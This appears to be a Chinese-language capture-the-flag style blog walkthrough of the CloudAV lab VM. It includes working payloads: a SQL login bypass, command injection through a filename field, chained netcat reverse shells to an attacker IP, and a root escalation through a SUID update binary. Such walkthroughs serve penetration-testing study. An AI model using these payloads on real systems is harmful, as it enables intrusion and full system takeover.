BOREDHACKERBLOG: CLOUD AV
0x01 主机发现
1 | for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i; done |
0x02 端口扫描
1 | sudo nmap -p- 10.0.2.5 |
0x03 服务识别
1 | sudo nmap -p22,8080 -sV 10.0.2.5 |
0x04 堆叠注入
访问Web服务瞧瞧
有输入框,挂BP抓个包看看
基本全明文,那把参数替换成特殊字符试试,把键盘上所有的特殊字符做成字典,过一遍看有无报错
看到报错信息了,在页面上注入查看详细信息。
看到报错信息,是sqlite数据库,连数据库语句都报出来了。
尝试万能密码绕过
1 | " or 1=1-- |
猜测功能为输入文件名,调用杀毒程序进行查杀。
系统应该是执行 avscan fileName 类似的命令,尝试堆叠注入。
1 | hello | id |
堆叠注入成功,代表此处存在命令注入。
由上面的服务发现可知,系统存在python2环境,此处可以用Python代码执行反弹shell,但考虑到代码过长,选择另一种更为常见的方式,nc反弹shell。
nc常用在反弹shell,它既可以主动发起连接,也可以被动等待连接,常用命令:
1 | 主动发起连接,-e参数是指连接交予sh |
这里有个需要注意的地方,不同发行版的Linux用的是不同版本的nc,部分nc没有-e参数,不指定权限交予程序。
先尝试用带 e 的命令行注入,无连接反应。
这里介绍一种新思路:
1、受害机通过nc建立一个普通连接
2、把第一个连接的输入重定向到受害者本地的/bin/bash
3、把/bin/bash的输入重定向到另一个nc连接
首先,本地开启两个Nc端口监听
1 | 第一个Nc监听,用于执行命令 |
受害机执行
1 | hello为堆叠注入, |
得到反弹shell,3333端口用于命令输入,4444端口用于结果输出。
0x05 SSH爆破尝试
进行信息收集,看到database.sql文件。
由先前报错可知,采用的是sqlite数据库,转了一圈发现本地没有sqlite环境读取,则把文件下载到本地来读取。
1 | nc进行文件传输 |
1 | # 本地读取sqlite文件 |
1 | 读取当前系统有bash权限的用户 |
得到 cloudav & scanner。
制作字典尝试爆破SSH。
1 | vi user.txt # cloudav | scanner |
结果全部错误,木大。
0x06 命令行提权
直接在反弹shell尝试提权吧。
兜兜转转一圈下来,没发现啥内核提权漏洞。只有用于搭建网站的前后端文件、数据库文件。
这时,习惯用 ls -l 命令的我发现了疑点
在上个目录下发现了suid属性的文件,所属是root用户,并且其他组用户还有执行权限。
如果用 root 所属的文件创建新的连接,那就是一个root权限的连接。
刚好有个.c的源文件,看看这个文件是干嘛的
简单来讲就是,执行软件更新命令,那就涉及命令执行,尝试下最开始的堆叠注入吧。
1 | ./update_cloudav "id | nc 10.0.2.4 6666 | /bin/bash | nc 10.0.2.4 7777" |
拿到 root 权限了。